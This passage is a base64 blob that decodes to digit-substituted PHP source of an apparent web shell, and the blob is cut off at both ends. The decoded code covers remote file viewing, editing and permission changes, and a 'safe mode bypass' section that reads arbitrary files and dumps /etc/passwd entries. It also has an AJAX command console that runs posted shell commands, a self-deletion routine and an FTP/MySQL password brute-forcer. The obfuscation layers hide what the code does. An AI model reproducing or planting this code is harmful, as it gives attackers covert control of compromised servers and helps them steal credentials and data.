2Pic7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7IA0KICAgICAgICAgICAgICAgIEBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWNoMiAnPC9wcjU+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJ2g0Z2hsNGdodCc6IA0KICAgICAgICAgICAgNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgeyANCiAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7IA0KICAgICAgICAgICAgICAgICRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsgDQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1ICdjaG0yZCc6IA0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgeyANCiAgICAgICAgICAgICAgICAkcDVybXMgPSAwOyANCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KSANCiAgICAgICAgICAgICAgICAgICAgJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsgDQogICAgICAgICAgICAgICAgNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7IA0KICAgICAgICAgICAgNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJzVkNHQnOiANCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgICAgICA1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgeyANCiAgICAgICAgICAgICAgICAkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsgDQogICAgICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwidyIpOyANCiAgICAgICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgICAgIEBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7IA0KICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7IA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsgDQogICAgICAgICAgICAgICAgICAgIEB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsgDQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOyANCiAgICAgICAgICAgIDRmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aDRsNSggIUBmNTJmKCRmcCkgKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsgDQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOyANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgYzFzNSAnaDV4ZDNtcCc6IA0KICAgICAgICAgICAgJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsgDQogICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7IA0KICAgICAgICAgICAgJGw1biA9IHN0cmw1bigkYyk7IA0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7IA0KICAgICAgICAgICAgICAgICRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7IA0KICAgICAgICAgICAgICAgIHN3NHRjaCAoIDJyZCgkY1skNF0pICkgeyANCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsgDQogICAgICAgICAgICAgICAgICAgIGMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7IA0KICAgICAgICAgICAgICAgICAgICBjMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOyANCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsgDQogICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJG4rKzsgDQogICAgICAgICAgICAgICAgNGYgKCRuID09IG9hKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fSANCiAgICAgICAgICAgICAgICAgICAgJGhbNl0gLj0gJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgJGhbYV0gLj0gIlxuIjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1ICdyNW4xbTUnOiANCiAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsgDQogICAgICAgICAgICAgICAgNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsgDQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJ3QyM2NoJzogDQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7IA0KICAgICAgICAgICAgICAgICR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7IA0KICAgICAgICAgICAgICAgIDRmKCR0NG01KSB7IA0KICAgICAgICAgICAgICAgICAgICA0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdGMTRsISc7IA0KICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdUMjNjaDVkISc7IA0KICAgICAgICAgICAgICAgIH0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgY2w1MXJzdDF0YzFjaDUoKTsgDQogICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgIH0gDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsgDQogICAgJHQ1bXA9Jyc7IA0KICAgIDJiX3N0MXJ0KCk7IA0KICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsgDQogICAgICAgIGMxczUgNjogDQogICAgICAgICAgICAkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7IA0KICAgICAgICAgICAgNGYoQGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsncGEnXSwgJHQ1bXApKXsgDQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOyANCiAgICAgICAgICAgICAgICAzbmw0bmsoJHQ1bXApOyANCiAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJ1MycnJ5Li4uIEMxblwndCAycDVuIGY0bDUnOyANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgYzFzNSBhOiANCiAgICAgICAgICAgICRmNGw1cyA9IGdsMmIoJF9QT1NUWydwYSddLicqJyk7IA0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKSANCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkZjRsNW4xbTUuIlxuIjsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgbzogDQogICAgICAgICAgICAkY2ggPSBjM3JsXzRuNHQoImY0bDU6Ly8iLiRfUE9TVFsncGEnXS4iXHgwMCIucHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSk7IA0KICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1IHU6IA0KICAgICAgICAgICAgNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOyANCiAgICAgICAgICAgIDRuNF9yNXN0MnI1KCIycDVuX2IxczVkNHIiKTsgDQogICAgICAgICAgICA0bmNsM2Q1KCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1IGk6IA0KICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7IA0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsgDQogICAgICAgICAgICAgICAgNGYgKCQzNGQpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICB9IA0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7IA0KICAgIHdzMkg1MWQ1cigpOyANCiAgICA1Y2gyICc8aDY+UzFmNSBtMmQ1IGJ5cDFzczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7IA0KICAgIDVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgNGYoJHQ1bXApIA0KICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPSJtbDYiIHN0eWw1PSJtMXJnNG4tdDJwOmlweCIgNGQ9Ik8zdHAzdCI+Jy5odG1sc3A1YzQxbGNoMXJzKCR0NW1wKS4nPC9wcjU+JzsgDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5DMm5zMmw1KCkgeyANCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSB0cjM1OyANCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7IA0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSBmMWxzNTsgDQogIA0KICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1OyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIDVjaDIgImQuY2YuY21kLnYxbDM1PScnO1xuIjsgDQogICAgICAgICR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7IA0KICAgICAgICA0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpIHsgDQogICAgICAgICAgICA0ZihAY2hkNHIoJG0xdGNoWzZdKSkgeyANCiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7IA0KICAgICAgICAgICAgICAgIDVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIDVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOyANCiAgICAgICAgNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7IA0KICAgICAgICAkdDVtcCA9IDJiX2c1dF9jbDUxbigpOyANCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsgDQogICAgICAgIDV4NHQ7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgIjxzY3I0cHQ+IA0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsgDQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7IA0KdjFyIGMzciA9IDA7IA0KZjNuY3Q0Mm4ga3AoNSkgeyANCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsgDQogICAgNGYobiA9PSBvOCkgeyANCiAgICAgICAgYzNyLS07IA0KICAgICAgICA0ZihjM3I+PTApIA0KICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOyANCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyKys7IA0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7IA0KICAgICAgICBjM3IrKzsgDQogICAgICAgIDRmKGMzciA8IGNtZHMubDVuZ3RoKSANCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsgDQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzci0tOyANCiAgICB9IA0KfSANCmYzbmN0NDJuIDFkZChjbWQpIHsgDQogICAgY21kcy5wMnAoKTsgDQogICAgY21kcy5wM3NoKGNtZCk7IA0KICAgIGNtZHMucDNzaCgnJyk7IA0KICAgIGMzciA9IGNtZHMubDVuZ3RoLTY7IA0KfSANCiAgDQo8L3NjcjRwdD4iOyANCiAgICA1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7IA0KICAgIGYycjUxY2goJEdMT0JBTFNbJzFsNDFzNXMnXSAxcyAkbiA9PiAkdikgeyANCiAgICAgICAgNGYoJHYgPT0gJycpIHsgDQogICAgICAgICAgICA1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7IA0KICAgICAgICAgICAgYzJudDRuMzU7IA0KICAgICAgICB9IA0KICAgICAgICA1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7IA0KICAgIH0gDQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7IA0KICAgIDVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVggPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zaDJ3XzVycjJycyB2MWwzNT02ICcuKCE1bXB0eSgkX1BPU1RbJ3BhJ10pfHwkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pKTsgDQogICAgfSANCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7IA0KICAgIDVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7IA0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOyANCiAgICBkNDUoJ2J5NSEnKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7IA0KICANCiAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpIA0KICAgICAgICA0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKSANCiAgICAgICAgICAgIGQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOyANCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgNWNoMiAnM25sNG5rIDVycjJyISc7IA0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykgDQogICAgICAgIHdzMkg1MWQ1cigpOyANCiAgICA1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7IA0KICAgIHdzMkYyMnQ1cigpOyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgeyANCiAgICAgICAgNWNoMiAnPGg2PlI1czNsdHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3Axbj5UeXA1Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj5TNXJ2NXI6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzNXJ2NXInXSkuJzxicj4nOyANCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsgDQogICAgICAgICAgICBmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsgDQogICAgICAgICAgICAgICAgJGZwID0gQGZ0cF9jMm5uNWN0KCQ0cCwgJHAycnQ/JHAycnQ6YTYpOyANCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7IA0KICAgICAgICAgICAgICAgICRyNXMgPSBAZnRwX2wyZzRuKCRmcCwgJGwyZzRuLCAkcDFzcyk7IA0KICAgICAgICAgICAgICAgIEBmdHBfY2wyczUoJGZwKTsgDQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAnbXlzcWwnICkgeyANCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgeyANCiAgICAgICAgICAgICAgICAkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXN